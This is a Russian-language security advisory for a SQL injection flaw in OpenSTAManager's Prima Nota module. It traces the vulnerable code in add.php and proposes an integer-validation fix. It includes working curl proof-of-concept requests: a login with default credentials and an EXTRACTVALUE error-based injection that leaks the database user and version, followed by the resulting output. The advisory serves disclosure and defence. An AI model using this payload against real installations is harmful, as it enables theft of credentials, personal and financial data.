
CVE-2026-24419 - OpenSTAManager содержит SQL-инъекцию в модуле Prima Nota
| Поле | Сведения |
|---|---|
| Идентификатор CVE | CVE-2026-24419 |
| Серьёзность | ВЫСОКАЯ |
| Уведомление | Посмотреть уведомление |
| Обнаружено | Lukasz Rybak |
Критическая уязвимость SQL-инъекции на основе ошибок (Error-Based SQL Injection) в модуле Prima Nota (журнал проводок) OpenSTAManager v2.9.8 позволяет аутентифицированным атакующим извлекать полное содержимое базы данных, включая учётные данные пользователей, персональные данные клиентов и финансовые записи, через сообщения об ошибках XML путём внедрения вредоносного SQL в параметры URL.
Статус: ✅ Подтверждено и протестировано на реальном экземпляре (v2.9.8)
Уязвимые параметры: id_documenti (GET-параметры)
Затронутая конечная точка: /modules/primanota/add.php
Тип атаки: SQL-инъекция на основе ошибок (предложение IN)
OpenSTAManager v2.9.8 содержит критическую уязвимость SQL-инъекции на основе ошибок в файле add.php модуля Prima Nota (журнал проводок). Приложение не проверяет, что разделённые запятыми значения из GET-параметров являются целыми числами, перед использованием их в предложениях SQL IN(), что позволяет атакующим внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.
Цепочка уязвимости:
Точка входа: /modules/primanota/add.php (строки 63–67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Воздействие: Функция get() извлекает управляемые пользователем параметры URL, explode(',', (string) ...) разделяет их по запятой, но НИКАКАЯ проверка не гарантирует, что элементы являются целыми числами.
Точка SQL-инъекции: /modules/primanota/add.php (строка 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Воздействие: Элементы массива из $id_documenti напрямую объединяются с помощью implode() без проверки типов или использования prepare(), что делает возможной полную SQL-инъекцию.
Анализ первопричины:
Уязвимость существует по следующим причинам:
get('id_documenti') возвращает управляемые пользователем строкиexplode(',', (string) $value) разделяет по запятой, но не проверяет типыimplode(',', $array) объединяет элементы массива напрямую в SQL-запросе?id_documenti=1) AND EXTRACTVALUE(...) %23Затронутый путь выполнения кода:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
Шаг 1: Вход в систему
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Шаг 2: Проверка уязвимости (SQL-инъекция на основе ошибок)
Тест 1: Извлечение пользователя БД и версии
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Ответ (сообщение об ошибке, видимое атакующему):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Все аутентифицированные пользователи, имеющие доступ к модулю Prima Nota (журнал проводок).
Основное исправление — проверка типов:
Файл: /modules/primanota/add.php
ДО (уязвимый код — строки 63–67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
ПОСЛЕ (исправленный код):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Обнаружено: Łukasz Rybak
Данная CVE была раскрыта ответственно в соответствии с практиками скоординированного раскрытия уязвимостей. Приведённая здесь информация предназначена исключительно для образовательных и защитных целей.